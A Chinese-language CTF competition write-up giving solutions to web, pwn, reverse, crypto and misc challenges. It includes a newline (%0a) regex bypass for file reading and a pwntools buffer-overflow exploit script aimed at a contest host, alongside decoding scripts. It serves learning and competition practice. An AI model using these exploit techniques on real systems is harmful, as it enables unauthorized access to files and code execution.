第四届浙江省大学生网络与信息安全竞赛决赛-WP

Web

远古特性

web签到题，代码如下

<?php

// Present from glzjin :)

highlight_file(__FILE__);

$file = $_GET['file'];

if(preg_match('/^hint\/hint.txt$/m', $file)) {
    echo file_get_contents($file);
} else {
    echo "Try again!";
}

主要是符合条件hint/hint.txt后换行直接读取文件，%0a绕过

Pwn

sai_easy

pwn签到题
分析文件

exp:

from pwn import *
#p=process('sai_easy_pwn')
p=remote('89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com',53100)
str_bin=0x601098
sys_add=0x400760
pop_rdi=0x0000000000400b23
p.send(b'a'*0x30)
#p.send(b'a'*0x10+b'b'*8+p64(pop_rdi)+p64(str_bin)+p64(sys_add))
p.send(b'a'*0x10+b'b'*8+p64(0x40098e))
#p.send(b'a'*0x30)
#p.send(b'a'*0x8+p64(sys_add)+p64(0x6010e0)+p64(pop_rdi)+p64(str_bin)+p64(0x0000000000400aa4))
p.interactive()

Reverse

preprocess

通过对c文件的分析发现实际上有一种类似base64的效果
将字符串每三个字节按照六位一组进行分隔
先进行取反
然后对这六位二进制进行换位操作
然后进行对照如果不相同编译时就会报错

f=open('data.txt')
import re
d=f.read()
e=re.findall(' \^ (.+)',d)
data=''
for i in e:
    cache=bin(int(i))[2:].zfill(6)
    for j in [3,1,5,0,4,2]:
        if cache[j]=='1':
            data+='0'
        else:
            data+='1'
print(data)
flag=int(data,2)
import base64
print(hex(flag)[2:].upper())
print(base64.b16decode(hex(flag)[2:].upper().strip('L')))

最简单的逆向

分析文件

1
2

a=[chr(0x76-50),chr(0x73-50),chr(0x85-50),chr(0x75-50),chr(0x86-50),chr(0x78-50),chr(0xAD-50),chr(0x6B-50),chr(0x97-50),chr(0x68-50),chr(0x98-50),chr(0x67-50),chr(0x64-50),chr(0x64-50),chr(0x62-50),chr(0x97-50),chr(0x68-50),chr(0x98-50),chr(0x6B-50),chr(0x6B-50),chr(0x96-50),chr(0x67-50),chr(0x62-50),chr(0x69-50),chr(0x95-50),chr(0x96-50),chr(0x65-50),chr(0x96-50),chr(0x6A-50),chr(0x69-50),chr(0x69-50),chr(0x65-50),chr(0x66-50),chr(0x97-50),chr(0x68-50),chr(0x98-50),chr(0x6A-50),chr(0x95-50),chr(0x68-50),chr(0xAF-50)]
print(''.join(a))

Crypto

decode_and_decode

简单的base嵌套

import base64
b1=base64.b64decode
b2=base64.b32decode
f=open('decode_and_decode.txt')
f=f.read()
while 1:
    try:
        f=base64.b16decode(f)
    except:
        try:
            f=base64.b32decode(f)
        except:
            try:
                f=base64.b64decode(f)
            except:
                break
print(f)

Misc

asoul_lover

从pdf中得到名字和生日，互相组合一下

密码为向晚0612

site_log

分析文件发现evil.php文件比较可疑

f=open('my_site.log')
d=f.readlines()
for i in d:
    if 'evil.php' in i:
        print(i)

使用脚本获取evil.php文件的日志

print(''.join([chr(122),chr(105),chr(112),chr(32),chr(45),chr(114),chr(80),chr(32),chr(104),chr(101),chr(104),chr(101),chr(104),chr(101),chr(50),chr(51),chr(51),chr(95),chr(73),chr(103),chr(111),chr(116),chr(114),chr(111),chr(111),chr(116),chr(32),chr(102),chr(108),chr(97),chr(103),chr(46),chr(122),chr(105),chr(112),chr(32),chr(102),chr(108),chr(97),chr(103)]))